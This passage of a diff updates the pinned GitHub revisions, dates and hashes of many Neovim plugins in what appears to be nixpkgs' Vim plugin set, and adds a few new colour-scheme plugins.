"00194ldhg9m2w5mr0wzcvz7d7icjb2ym0plqzhh4yga0iipqsdvb"; + rev = "9e9df68064bd6fa3b5e40b32fcb7c52af130cdbf"; + sha256 = "0h8fhylg1rhgjxjhg2d3y77fhril6ng3cj49yz2g8hh1p5xassfr"; }; meta.homepage = "https://github.com/rouge8/neotest-rust/"; }; @@ -6493,24 +6721,24 @@ final: prev: neotest-vitest = buildVimPlugin { pname = "neotest-vitest"; - version = "2024-01-16"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "marilari88"; repo = "neotest-vitest"; - rev = "87e91bfd9419a8c74bf0d105e2ae31b9692daf0b"; - sha256 = "0kfbb9rywkfaz7v2ls7dnncbg221ayyrlp1cz9sgbqib8627pmmz"; + rev = "ae774282a592b872e84ffdcc5b4d11fc991eca7b"; + sha256 = "0d6bfl6w1r1gylanlwymiq79aqxr5hyzs37lmm67lh6zqmadk4g4"; }; meta.homepage = "https://github.com/marilari88/neotest-vitest/"; }; neovim-ayu = buildVimPlugin { pname = "neovim-ayu"; - version = "2024-01-08"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "Shatur"; repo = "neovim-ayu"; - rev = "6463d39253bb70e2b867fce57f9e7174f657bd1b"; - sha256 = "1xhk1qdlk10paqaf8np7z52zyl2k0x463llh14gxbc58iraz5g95"; + rev = "0a9804db5c08dba63be9774a57e4214fd0473ce1"; + sha256 = "17324y4ywxmijappa9sb194xc2mwa8ijfxvb3s4302bnd6ggdw7h"; }; meta.homepage = "https://github.com/Shatur/neovim-ayu/"; }; @@ -6565,12 +6793,12 @@ final: prev: nerdtree = buildVimPlugin { pname = "nerdtree"; - version = "2024-01-09"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "preservim"; repo = "nerdtree"; - rev = "bc606c43e2d8ef0987d6d3d1ec8c17360a2e29d5"; - sha256 = "1c3pxa49wy2rgir0s87mfmb0h2wi0jmm54p6zmnm8x5v7j7n1bvp"; + rev = "f3a4d8eaa8ac10305e3d53851c976756ea9dc8e8"; + sha256 = "1rywf8z44z9vzg8x33qjvccjrn3avbcyqpkc6ba3ymb9hwhfhiig"; }; meta.homepage = "https://github.com/preservim/nerdtree/"; }; @@ -6589,12 +6817,12 @@ final: prev: netman-nvim = buildVimPlugin { pname = "netman.nvim"; - version = "2024-01-05"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "miversen33"; repo = "netman.nvim"; - rev = "6f1e2687d6e534e588d8281b987f33c3f0870e8a"; - sha256 = "0grdfvd222b4992c3g6wj86jpy73v29ihbz4k8qs23wqgmz7x9r2"; + rev = "d0ec9d4ca195b2c87bf46ab050130a2c806310c4"; + sha256 = "0043r66vr10qwdd305q4ckizk8lkm0xy4wazm0yfhq37jwrbhh7d"; }; meta.homepage = "https://github.com/miversen33/netman.nvim/"; }; @@ -6625,12 +6853,12 @@ final: prev: nfnl = buildVimPlugin { pname = "nfnl"; - version = "2024-01-21"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "Olical"; repo = "nfnl"; - rev = "7ef3da23c5b7f9e08ca7e1f9807c1a5a93e2f33f"; - sha256 = "0p0cfds0z409c5ydn8j7ycsh9jmaz0a7izakgkmg8lpqihvw6dc2"; + rev = "92f03c01405477fc61e410bb75d4387781a493dc"; + sha256 = "02ih6pjapws1j62mxa02dljjzm82bzms4ccjldsz5l02ks0k8vcr"; }; meta.homepage = "https://github.com/Olical/nfnl/"; }; @@ -6647,18 +6875,42 @@ final: prev: meta.homepage = "https://github.com/chr4/nginx.vim/"; }; + night-owl-nvim = buildVimPlugin { + pname = "night-owl.nvim"; + version = "2024-02-26"; + src = fetchFromGitHub { + owner = "oxfist"; + repo = "night-owl.nvim"; + rev = "b9205dac99317b9ece31636a0414d35efb957aca"; + sha256 = "1dzvd3bhmnbazhlwp5g9zpjj5vbisxz1l578g9fl5gfqyv5yyvqr"; + }; + meta.homepage = "https://github.com/oxfist/night-owl.nvim/"; + }; + nightfox-nvim = buildVimPlugin { pname = "nightfox.nvim"; - version = "2024-01-24"; + version = "2024-01-31"; src = fetchFromGitHub { owner = "EdenEast"; repo = "nightfox.nvim"; - rev = "7e9487875dc5f69a2fd6f60d3a3ef4fb457b57c1"; - sha256 = "0yzx95mkgq37hylc9ksca7bds0ny06x8hphin28k4pnwi0vqcf3s"; + rev = "a408e6bb101066952b81de9c11be367114bd561f"; + sha256 = "0h9dcwh404jzrjw78y98s59pcqcyki5wrsap77lilzq0j8zh1lj1"; }; meta.homepage = "https://github.com/EdenEast/nightfox.nvim/"; }; + nightly-nvim = buildVimPlugin { + pname = "nightly.nvim"; + version = "2023-10-20"; + src = fetchFromGitHub { + owner = "Alexis12119"; + repo = "nightly.nvim"; + rev = "825299e1dfafc093918137e752bde2dbaed60503"; + sha256 = "1g10pmg0jkj5bfsm1kvws9al2s0b2b15582815nf6mwr9fmhhbzy"; + }; + meta.homepage = "https://github.com/Alexis12119/nightly.nvim/"; + }; + nim-vim = buildVimPlugin { pname = "nim.vim"; version = "2021-11-11"; @@ -6707,18 +6959,42 @@ final: prev: meta.homepage = "https://github.com/mcchrish/nnn.vim/"; }; + no-clown-fiesta-nvim = buildVimPlugin { + pname = "no-clown-fiesta.nvim"; + version = "2024-02-20"; + src = fetchFromGitHub { + owner = "aktersnurra"; + repo = "no-clown-fiesta.nvim"; + rev = "667d51fd990d52f7ba80d9f76baa217dd79c6b11"; + sha256 = "17kg08fx15fn94073ppnmga3npr8ba9qjxnmhfccph49i90q7d95"; + }; + meta.homepage = "https://github.com/aktersnurra/no-clown-fiesta.nvim/"; + }; + no-neck-pain-nvim = buildVimPlugin { pname = "no-neck-pain.nvim"; - version = "2024-01-24"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "shortcuts"; repo = "no-neck-pain.nvim"; - rev = "fc3cc9012d9720aca3203702447caa59bd93f1a6"; - sha256 = "0flml2v5znlgffgn59k82dlz84d705mg8rxrhs8sciqr7jqxk1xk"; + rev = "7ab539aaa083e92ef438d4cdc0261d8661916f1d"; + sha256 = "0pprczdx9bfsdvkc2l3szkdfvkpbcmblz3bz9cn68vldnw1z4yvx"; }; meta.homepage = "https://github.com/shortcuts/no-neck-pain.nvim/"; }; + noctis-nvim = buildVimPlugin { + pname = "noctis.nvim"; + version = "2022-09-30"; + src = fetchFromGitHub { + owner = "kartikp10"; + repo = "noctis.nvim"; + rev = "0b9336e39c686a7e58de06e4dd38c2bd862a7b33"; + sha256 = "0aw361j28mnggv8769b70rywsx2cvri26kg2n8i470ka1wmzklaf"; + }; + meta.homepage = "https://github.com/kartikp10/noctis.nvim/"; + }; + noice-nvim = buildVimPlugin { pname = "noice.nvim"; version = "2024-01-22"; @@ -6733,12 +7009,12 @@ final: prev: none-ls-nvim = buildVimPlugin { pname = "none-ls.nvim"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "nvimtools"; repo = "none-ls.nvim"; - rev = "a311c7cc8f17543143a7482cdbe3a384c371d56a"; - sha256 = "1fk52awkplp2c1bf7aa8whs6qaxvphry1crp515b2yz0ik8ykqdk"; + rev = "e6d3abffa77597dac35de723e11daaee2fafce77"; + sha256 = "0v8b8if96wwd7czjdlgl7a8vz8pfcwvcwbbmz6sa7dcynj7pvids"; }; meta.homepage = "https://github.com/nvimtools/none-ls.nvim/"; }; @@ -6793,12 +7069,12 @@ final: prev: nui-nvim = buildNeovimPlugin { pname = "nui.nvim"; - version = "2024-01-04"; + version = "2024-02-16"; src = fetchFromGitHub { owner = "MunifTanjim"; repo = "nui.nvim"; - rev = "35da9ca1de0fc4dda96c2e214d93d363c145f418"; - sha256 = "0ix9dshl7hxyygfyjg8ki0swm0ysbhm42aah5cbbhpnd00hv8qa9"; + rev = "c3c7fd618dcb5a89e443a2e1033e7d11fdb0596b"; + sha256 = "0wj2mgmykplg6dwgdh63342fdfqwmr7x2pnykk47646gzzixlgl1"; }; meta.homepage = "https://github.com/MunifTanjim/nui.nvim/"; }; @@ -6829,12 +7105,12 @@ final: prev: nvchad = buildVimPlugin { pname = "nvchad"; - version = "2024-01-19"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "nvchad"; repo = "nvchad"; - rev = "282a23f4469ee305e05ec7a108a728ee389d87fb"; - sha256 = "0b222vc3xqhaa6abkd9w3gd8l50ddrb06lsxwhw1sa9sqssv0bc1"; + rev = "8fe6a6560eff96238f55701470494ad911eab955"; + sha256 = "0kxr0z0n8whs2qxnywc8whdi15cp3wajp9rr6ys0ndqb995bcp67"; }; meta.homepage = "https://github.com/nvchad/nvchad/"; }; @@ -6877,26 +7153,26 @@ final: prev: nvim-autopairs = buildVimPlugin { pname = "nvim-autopairs"; - version = "2024-01-22"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "windwp"; repo = "nvim-autopairs"; - rev = "096d0baecc34f6c5d8a6dd25851e9d5ad338209b"; - sha256 = "167a5d8rycg703f1x9q7g9bavchfv8cj3qxvq721cf9sz1jniip2"; + rev = "c6139ca0d5ad7af129ea6c89cb4c56093f2c034a"; + sha256 = "1m7ymdyx1ymq1h9xgs6r7waqzkxqzzs2ir4d7yw78cxp0bvlbpn3"; }; meta.homepage = "https://github.com/windwp/nvim-autopairs/"; }; - nvim-base16 = buildVimPlugin { - pname = "nvim-base16"; - version = "2024-01-24"; + nvim-bacon = buildVimPlugin { + pname = "nvim-bacon"; + version = "2024-02-12"; src = fetchFromGitHub { - owner = "RRethy"; - repo = "nvim-base16"; - rev = "fc26d79fb3420eb3bc6e036f23671e25bfe227d6"; - sha256 = "1fqhngnwas2lykrz5yjw68nfwzy9f0a6f4vmk97jc54npwn5qgkc"; + owner = "Canop"; + repo = "nvim-bacon"; + rev = "3f8e7a80a0e715952a3066fefe7447f1347207ca"; + sha256 = "sha256-jIoRzMjOZlTHR7q4piyY7MjEUgZIR5pjobfOdY/IpeM="; }; - meta.homepage = "https://github.com/RRethy/nvim-base16/"; + meta.homepage = "https://github.com/Canop/nvim-bacon/"; }; nvim-biscuits = buildVimPlugin { @@ -6913,12 +7189,12 @@ final: prev: nvim-bqf = buildVimPlugin { pname = "nvim-bqf"; - version = "2023-12-06"; + version = "2024-02-20"; src = fetchFromGitHub { owner = "kevinhwang91"; repo = "nvim-bqf"; - rev = "bdc2a4e5bb670b3c0e33ada9c0eec636d93a0748"; - sha256 = "1kla734nj2q6bin9d1gzm4kml0bl89q2hfr0l9ly2lw3s506nynb"; + rev = "654c904d5ad9dc4846445056086168e25bd8ba2d"; + sha256 = "03gy2qnx7r6h0kk6h1x4pshwh08q5zaw5pxdpwnyfi9fkgdidcyc"; }; meta.homepage = "https://github.com/kevinhwang91/nvim-bqf/"; }; @@ -6949,12 +7225,12 @@ final: prev: nvim-cmp = buildNeovimPlugin { pname = "nvim-cmp"; - version = "2023-12-14"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "hrsh7th"; repo = "nvim-cmp"; - rev = "538e37ba87284942c1d76ed38dd497e54e65b891"; - sha256 = "1mxigpm4h8ad8hjd8zy6ajkk2c03vgcrigqarhybz6zsi52iil06"; + rev = "04e0ca376d6abdbfc8b52180f8ea236cbfddf782"; + sha256 = "0zzlkla5vgrfa55a3sjb885q0574s67ji5ps2rq53q82hlfwwphl"; }; meta.homepage = "https://github.com/hrsh7th/nvim-cmp/"; }; @@ -6973,12 +7249,12 @@ final: prev: nvim-cokeline = buildVimPlugin { pname = "nvim-cokeline"; - version = "2024-01-07"; + version = "2024-01-27"; src = fetchFromGitHub { owner = "willothy"; repo = "nvim-cokeline"; - rev = "a62eaff75c59da2ca261fefc2992e1cac04bd30e"; - sha256 = "0l4wfxiz4c7xg9m25lyv0xlrwgcyx2951x9dirqchpaf3ja6a0d4"; + rev = "7310f192af74c6912ca7a40ae1b16253aa95e50e"; + sha256 = "130lxdw0717f1hhkrraa2xl4abpd5w4lqqifi3hbk4brxsric6a3"; }; meta.homepage = "https://github.com/willothy/nvim-cokeline/"; }; @@ -7069,48 +7345,48 @@ final: prev: nvim-dap = buildVimPlugin { pname = "nvim-dap"; - version = "2024-01-13"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "mfussenegger"; repo = "nvim-dap"; - rev = "9adbfdca13afbe646d09a8d7a86d5d031fb9c5a5"; - sha256 = "1pwzw1v314m0gbpr77y48w1qrpappqw1vmvkl7qm4dz02rvkh5zm"; + rev = "fc880e82059eb21c0fa896be60146e5f17680648"; + sha256 = "1dg4sh3dxswak311faz5n3g2l7zy6jvqdvdrbj51n5flm7bgzscq"; }; meta.homepage = "https://github.com/mfussenegger/nvim-dap/"; }; nvim-dap-go = buildVimPlugin { pname = "nvim-dap-go"; - version = "2023-10-07"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "leoluz"; repo = "nvim-dap-go"; - rev = "a5cc8dcad43f0732585d4793deb02a25c4afb766"; - sha256 = "00nm95dpbmjnndvh8kapbgmrbfjqg3dd8hhrwgd3rmk30d777zxq"; + rev = "64f73400761e2d19459e664a52ea478f3a4420e7"; + sha256 = "1r6cqvz6kfmkfq6a5vv9kqqqs8sfwhmr26wilrd18sgya58hbdvn"; }; meta.homepage = "https://github.com/leoluz/nvim-dap-go/"; }; nvim-dap-python = buildVimPlugin { pname = "nvim-dap-python"; - version = "2023-12-19"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "mfussenegger"; repo = "nvim-dap-python"; - rev = "091e4ae00a12085f9ed4200a3cd04af7179b8a23"; - sha256 = "02ialmgk6i2svjqglj7hmrakfsk5spcxb9idb13vmzlng8s3rzsp"; + rev = "66560f0ebddf96604f7037e1efad3ba6942761e6"; + sha256 = "0yc96r53iy0iim2nkl3rz5fza148fs6wk9y9k19k90ilzhh2ay3k"; }; meta.homepage = "https://github.com/mfussenegger/nvim-dap-python/"; }; nvim-dap-ui = buildVimPlugin { pname = "nvim-dap-ui"; - version = "2024-01-22"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "rcarriga"; repo = "nvim-dap-ui"; - rev = "d845ebd798ad1cf30aa4abd4c4eff795cdcfdd4f"; - sha256 = "1by56ffghig930r0cak95h0gxxrf78jwr3f2fxqziyz32dvi5mp2"; + rev = "9720eb5fa2f41988e8770f973cd11b76dd568a5d"; + sha256 = "0ahc1f2h9qv6bns5mh7m90lfrf3yldy018p27dsc9cgpdpb15i1q"; }; meta.homepage = "https://github.com/rcarriga/nvim-dap-ui/"; }; @@ -7201,36 +7477,36 @@ final: prev: nvim-highlight-colors = buildVimPlugin { pname = "nvim-highlight-colors"; - version = "2024-01-25"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "brenoprata10"; repo = "nvim-highlight-colors"; - rev = "cb3bdad6501d6314fe0ed00eee883b98fc0ec8db"; - sha256 = "0hh6cccs32g7b1ashz7kjmrcgfdjrd5dw3as0b3d5v04shm0vd17"; + rev = "abff2ecd998de946e091ea7749b613ab6975f6f7"; + sha256 = "0yhflyvjdfr4s6ipvcs98375lbhmg7wslvkfrmz1xmlmxpw63w0y"; }; meta.homepage = "https://github.com/brenoprata10/nvim-highlight-colors/"; }; nvim-highlite = buildVimPlugin { pname = "nvim-highlite"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "Iron-E"; repo = "nvim-highlite"; - rev = "6a69959d5a945970cd59b32e19428c4732d7554a"; - sha256 = "01qw3qaq94vsawm3nnwwrf0x7mra8wqprgw1nc2njzzygqkhivqw"; + rev = "a85f9d0b8a31d60db79adfdbe3d6e62ae9466826"; + sha256 = "0w0ycxqmpa1pg0jm3p68bi3z3666g8qzf234k15sir04yzd7rhgg"; }; meta.homepage = "https://github.com/Iron-E/nvim-highlite/"; }; nvim-hlslens = buildVimPlugin { pname = "nvim-hlslens"; - version = "2023-12-17"; + version = "2024-02-16"; src = fetchFromGitHub { owner = "kevinhwang91"; repo = "nvim-hlslens"; - rev = "8ffc64bb6b624612cf762982b92633f283f7a715"; - sha256 = "093da3q6lalp48wph4688hjkd0lf0bnzsa8y2bms1j8js0mmr0p3"; + rev = "e4c811a401b06f86a7bb042b1d64a5cba21729a9"; + sha256 = "1ifi59hd3wwb0wy2ymfbcyhixwfgmj292c5qip7gav8ffqn9cv9z"; }; meta.homepage = "https://github.com/kevinhwang91/nvim-hlslens/"; }; @@ -7249,12 +7525,12 @@ final: prev: nvim-jdtls = buildVimPlugin { pname = "nvim-jdtls"; - version = "2023-11-28"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "mfussenegger"; repo = "nvim-jdtls"; - rev = "66b5ace68a5d1c45fdfb1afa8d847e87af2aa1f8"; - sha256 = "1cycasjvms1m58vcb3sk01dp4dzjjchds20yq0c6vq1s98wir0y6"; + rev = "382b9f625861f47d95876bcfb4c261f3b96077cb"; + sha256 = "1c65a12w1lmh16f6rwpq5nf5xqr3sna7arbwywh0bnxg6i3lhbgf"; }; meta.homepage = "https://github.com/mfussenegger/nvim-jdtls/"; }; @@ -7332,12 +7608,12 @@ final: prev: nvim-lint = buildVimPlugin { pname = "nvim-lint"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "mfussenegger"; repo = "nvim-lint"; - rev = "8e5920f9ce9f24c283a2e64be5fe58d1d37d1744"; - sha256 = "07vs24r8jglq9sjj5lz5k2ay0b5arg21cvvl54j2hl9nrl5fl2z4"; + rev = "e824adb9bc01647f71e55457353a68f0f37f9931"; + sha256 = "1494d979kpmbvlhq4na4hjr7zyl9gfh70pm0ikg26sasad8a51kx"; }; meta.homepage = "https://github.com/mfussenegger/nvim-lint/"; }; @@ -7368,12 +7644,12 @@ final: prev: nvim-lspconfig = buildVimPlugin { pname = "nvim-lspconfig"; - version = "2024-01-20"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "neovim"; repo = "nvim-lspconfig"; - rev = "8917d2c830e04bf944a699b8c41f097621283828"; - sha256 = "0wiqy0k83qjh2y9r3rdm8jrrfmrwfm2729wrshxmxbdns0vjrmja"; + rev = "9553725789be682ecd945a527ec552e489ea8534"; + sha256 = "1gny37nw2sy88ddyd0jx23ks5grdmi2ipwyl6zkv1kl1lv2v9n39"; }; meta.homepage = "https://github.com/neovim/nvim-lspconfig/"; }; @@ -7428,12 +7704,12 @@ final: prev: nvim-metals = buildVimPlugin { pname = "nvim-metals"; - version = "2024-01-15"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "scalameta"; repo = "nvim-metals"; - rev = "d47287324d1e2efdb7aabde73fad5fd5b2b438bf"; - sha256 = "1q963lj9bxx4iycgzrpsybmrpc7l4qq7nd3cl4iqrp8qkjqklqwn"; + rev = "9f498a5f74771cedaa05871a79df91aa09ad6bd9"; + sha256 = "1ll7nihbwl8rk0l9zrl55rapnc7h1hwcgmvgm6595zjba30sjazn"; }; meta.homepage = "https://github.com/scalameta/nvim-metals/"; }; @@ -7500,12 +7776,12 @@ final: prev: nvim-notify = buildVimPlugin { pname = "nvim-notify"; - version = "2024-01-15"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "rcarriga"; repo = "nvim-notify"; - rev = "80b67b265530632505193553d05127ae7fe09ddd"; - sha256 = "0spjp93s5zb2jyvj5is98kaargaxr11sb4dk3hc40p6nv78bq42s"; + rev = "5371f4bfc1f6d3adf4fe9d62cd3a9d44356bfd15"; + sha256 = "1daf6qhm9p0smcqi8w6vr8agnvyv9ra3z7f0ijlcab8qgqwhz5n4"; }; meta.homepage = "https://github.com/rcarriga/nvim-notify/"; }; @@ -7596,12 +7872,12 @@ final: prev: nvim-scrollview = buildVimPlugin { pname = "nvim-scrollview"; - version = "2024-01-13"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "dstein64"; repo = "nvim-scrollview"; - rev = "2bc1d94174a977e7147e845156d3c4c12ac06b67"; - sha256 = "0da1bb9ppk3klxlwrbfh48vl39a6pbpp1z2irwybnz24zanxb4bi"; + rev = "7ef112edde3355cb50c3b7bf1e8909c8d2bc3186"; + sha256 = "146ljp5gh7vypr7hj6xxkzhlsg7dja4f0b1651clsi0sarxd59s9"; }; meta.homepage = "https://github.com/dstein64/nvim-scrollview/"; }; @@ -7620,36 +7896,36 @@ final: prev: nvim-snippy = buildVimPlugin { pname = "nvim-snippy"; - version = "2024-01-14"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "dcampos"; repo = "nvim-snippy"; - rev = "8e4e39a4bf5f8939fcf4898d1fba48d1d1f72303"; - sha256 = "0ib8vlh2v3s93b15iv49yzx68bz4rhcgbapdp9cjxdlnvqzyf27y"; + rev = "6295b6cb30725c343a8986096c9f04b0e7646c52"; + sha256 = "1rplgghm6xr803xhgshrnbs4qvda4331znywsfwycxqyl7zvynsf"; }; meta.homepage = "https://github.com/dcampos/nvim-snippy/"; }; nvim-solarized-lua = buildVimPlugin { pname = "nvim-solarized-lua"; - version = "2022-11-19"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "ishan9299"; repo = "nvim-solarized-lua"; - rev = "7bd46fa036bde6b4483fb7403b0a7b0754faeeaa"; - sha256 = "0cpx916mbghxbpnkqs52y3n6h6dciaapj8bgas71w7qn4i6ygmhi"; + rev = "9ae0c5e56490e711d42d0636915b8b08b99a7f96"; + sha256 = "1qis7dgw4dqrpmvii4qf1qwmlql4lly276zp89vsrng4cylyjfgd"; }; meta.homepage = "https://github.com/ishan9299/nvim-solarized-lua/"; }; nvim-spectre = buildVimPlugin { pname = "nvim-spectre"; - version = "2023-12-20"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "nvim-pack"; repo = "nvim-spectre"; - rev = "d8906855f1949ac97b1e77aaf8d3fe12ed158ddc"; - sha256 = "1kmw61gli562d4r4vsf2fpxa09pi6a0brcdzly02n7xcan4l7bc4"; + rev = "3712ff0cdf4f9f877d9ca708d835a877d9a0abaf"; + sha256 = "1112r1qz44mgvqda98a1ch4w262n5hs9ylgp9fdvgz62nhgxgl5m"; }; meta.homepage = "https://github.com/nvim-pack/nvim-spectre/"; }; @@ -7668,12 +7944,12 @@ final: prev: nvim-surround = buildVimPlugin { pname = "nvim-surround"; - version = "2024-01-17"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "kylechui"; repo = "nvim-surround"; - rev = "0c02c52182a9c2a7fa7e122b4037f6408e98434a"; - sha256 = "00cfnnz9hrr2hjvb6y58xwv6rsh0p6v7dw0ca60gx2313js10q08"; + rev = "84a26afce16cffa7e3322cfa80a42cddf60616eb"; + sha256 = "04sapqxwj4siwv5b0zxhv5vxmc653109bkk7yn6g5bckmwkdg2dq"; }; meta.homepage = "https://github.com/kylechui/nvim-surround/"; }; @@ -7716,48 +7992,48 @@ final: prev: nvim-tree-lua = buildVimPlugin { pname = "nvim-tree.lua"; - version = "2024-01-21"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "nvim-tree"; repo = "nvim-tree.lua"; - rev = "7bdb220d0fe604a77361e92cdbc7af1b8a412126"; - sha256 = "1ij2prf826bp90i9ask2an0aih0nch5c4sax4awwwhpnhic3780h"; + rev = "d52fdeb0a300ac42b9cfa65ae0600a299f8e8677"; + sha256 = "0dngnviq36z9jsm1p6w4b3xg31k6fj05xdk6qn0cxjjharrskazi"; }; meta.homepage = "https://github.com/nvim-tree/nvim-tree.lua/"; }; nvim-treesitter = buildVimPlugin { pname = "nvim-treesitter"; - version = "2024-01-25"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "nvim-treesitter"; repo = "nvim-treesitter"; - rev = "cc908cfcd7258b2e5c1a9c583e2f3feda0caf23b"; - sha256 = "0xp9gfcdpxbxf09s449w5dxpkbw5hin6fxzb67kfz18k7fhnwfrw"; + rev = "c2a265156d5799adbd9f9e7d5385735fa5d21776"; + sha256 = "08cish176w59wj1j221q1k67mjgabdkl676v5kp79ig7b23hfzz5"; }; meta.homepage = "https://github.com/nvim-treesitter/nvim-treesitter/"; }; nvim-treesitter-context = buildVimPlugin { pname = "nvim-treesitter-context"; - version = "2024-01-24"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "nvim-treesitter"; repo = "nvim-treesitter-context"; - rev = "2972717355a18d5599e9162f48d6e3e584068bf9"; - sha256 = "136yqfbgcjzy0k99h5zjrfdkcy5xpdqwdkvvc6x0ff4sw4mq0kgj"; + rev = "b8d1ffe58a88e0356da56b167373e89c4579ce15"; + sha256 = "1z5my5hk7mwrvmjb36w7q82mi8n6q1a63i0p94vphx8vchipa60n"; }; meta.homepage = "https://github.com/nvim-treesitter/nvim-treesitter-context/"; }; nvim-treesitter-endwise = buildVimPlugin { pname = "nvim-treesitter-endwise"; - version = "2023-09-23"; + version = "2024-02-15"; src = fetchFromGitHub { owner = "RRethy"; repo = "nvim-treesitter-endwise"; - rev = "4c344ffc8d54d7e1ba2cefaaa2c10ea93aa1cc2d"; - sha256 = "0320lz13zymw70wx7malkw4nkma3scz4kz35mq59f9p51dan6iky"; + rev = "60e8c288e011403f248b5f6478dde12bed8a6c55"; + sha256 = "0dly21jk1wm80s7ypwpwfm4mx1srbmaww0441854dwvh2s7j634v"; }; meta.homepage = "https://github.com/RRethy/nvim-treesitter-endwise/"; }; @@ -7788,12 +8064,12 @@ final: prev: nvim-treesitter-textobjects = buildVimPlugin { pname = "nvim-treesitter-textobjects"; - version = "2024-01-14"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "nvim-treesitter"; repo = "nvim-treesitter-textobjects"; - rev = "19a91a38b02c1c28c14e0ba468d20ae1423c39b2"; - sha256 = "1g38yh7434sxbi270q8bddqiv61msaf4cj62ar0khjavzgxy41nc"; + rev = "95933e762e28f9d38b572d65e7e4da9d2f4d90cb"; + sha256 = "09hnk52jzw4xjhd5ls1r81r1ncy4pnqhz7vdsq843il8psxg50ng"; }; meta.homepage = "https://github.com/nvim-treesitter/nvim-treesitter-textobjects/"; }; @@ -7812,60 +8088,60 @@ final: prev: nvim-ts-autotag = buildVimPlugin { pname = "nvim-ts-autotag"; - version = "2024-01-25"; + version = "2024-02-07"; src = fetchFromGitHub { owner = "windwp"; repo = "nvim-ts-autotag"; - rev = "a65b202cfd08e0e69e531eab737205ff5bc082a4"; - sha256 = "1wysb48l5dfqfqf6mr75jni7n078h1ab1bqyrrjr05sybn3lww8b"; + rev = "531f48334c422222aebc888fd36e7d109cb354cd"; + sha256 = "1azlkqjvdnam4plm98a23j21swwlk1lvpa7cj3cpvi8q6wi09wkh"; }; meta.homepage = "https://github.com/windwp/nvim-ts-autotag/"; }; nvim-ts-context-commentstring = buildVimPlugin { pname = "nvim-ts-context-commentstring"; - version = "2023-11-30"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "joosepalviste"; repo = "nvim-ts-context-commentstring"; - rev = "1277b4a1f451b0f18c0790e1a7f12e1e5fdebfee"; - sha256 = "0363gb837rm66127z7b7q20ak4dgby3q1r0wvz5sqbkw8d704jgb"; + rev = "7ab799a9792f7cf3883cf28c6a00ad431f3d382a"; + sha256 = "1m0c909pkyp5ha9n0p72kvh9mrhl2mzsmhnfanrgyqxj32gaqa26"; }; meta.homepage = "https://github.com/joosepalviste/nvim-ts-context-commentstring/"; }; nvim-ufo = buildVimPlugin { pname = "nvim-ufo"; - version = "2024-01-13"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "kevinhwang91"; repo = "nvim-ufo"; - rev = "b0741a647efd98d9abb6cb653e056d24a07e4581"; - sha256 = "1bnyf422pf7y58a7v8zfx3w6w7ihzxchrix6rxxpypaivdp6say2"; + rev = "239ae620d818ffa1319ca3056546df71906d4bfb"; + sha256 = "17nd2clil96j1a8l5rxvb83c1aqkff31sxylv4kac6rx30g8k9qa"; }; meta.homepage = "https://github.com/kevinhwang91/nvim-ufo/"; }; nvim-unception = buildVimPlugin { pname = "nvim-unception"; - version = "2023-11-30"; + version = "2024-02-06"; src = fetchFromGitHub { owner = "samjwill"; repo = "nvim-unception"; - rev = "23085504347a710e43d7921ccb839fda8f1a70c1"; - sha256 = "0lprrkgm1plnw28vfpq550gakyw3ngxw930lr72wcx82r029i51g"; + rev = "a0af21a27e2ba19ce6004d57d34006d18bc6bad4"; + sha256 = "165gg5bgvga5c79hvniryf5d530r4gckahnhaj3xb9cf7m2xsdvy"; }; meta.homepage = "https://github.com/samjwill/nvim-unception/"; }; nvim-web-devicons = buildVimPlugin { pname = "nvim-web-devicons"; - version = "2024-01-24"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "nvim-tree"; repo = "nvim-web-devicons"; - rev = "b427ac5f9dff494f839e81441fb3f04a58cbcfbc"; - sha256 = "13ywffn24wlqciy1fnisiqbgsg4h6nxf3wcd0v28kmk29wyzqkf3"; + rev = "0bb67ef952ea3eb7b1bac9c011281471d99a27bc"; + sha256 = "0rykazpyv111w408c4xm1x76nr0vdwss8f7mbkfdgijxj9llk87b"; }; meta.homepage = "https://github.com/nvim-tree/nvim-web-devicons/"; }; @@ -7944,12 +8220,12 @@ final: prev: obsidian-nvim = buildVimPlugin { pname = "obsidian.nvim"; - version = "2024-01-25"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "epwalsh"; repo = "obsidian.nvim"; - rev = "5f469faab7bebc1ee30942eeebfdfdcbd7f2b411"; - sha256 = "1abrd8zs1cmdw08m3vxlc6j2ay7kvchl53zx052lqps07is3b6ny"; + rev = "c7812abe3ab5c6a6a8b29a9ec08b32142a2e7011"; + sha256 = "0jmhabvlbrgy1bkjlaf6dvajr5lypif541a62pmk1w7i7jlgv2h8"; }; meta.homepage = "https://github.com/epwalsh/obsidian.nvim/"; }; @@ -7980,24 +8256,24 @@ final: prev: octo-nvim = buildVimPlugin { pname = "octo.nvim"; - version = "2024-01-24"; + version = "2024-02-16"; src = fetchFromGitHub { owner = "pwntester"; repo = "octo.nvim"; - rev = "f77d214e5a67f1c1eb601a9c99418a5f7924af22"; - sha256 = 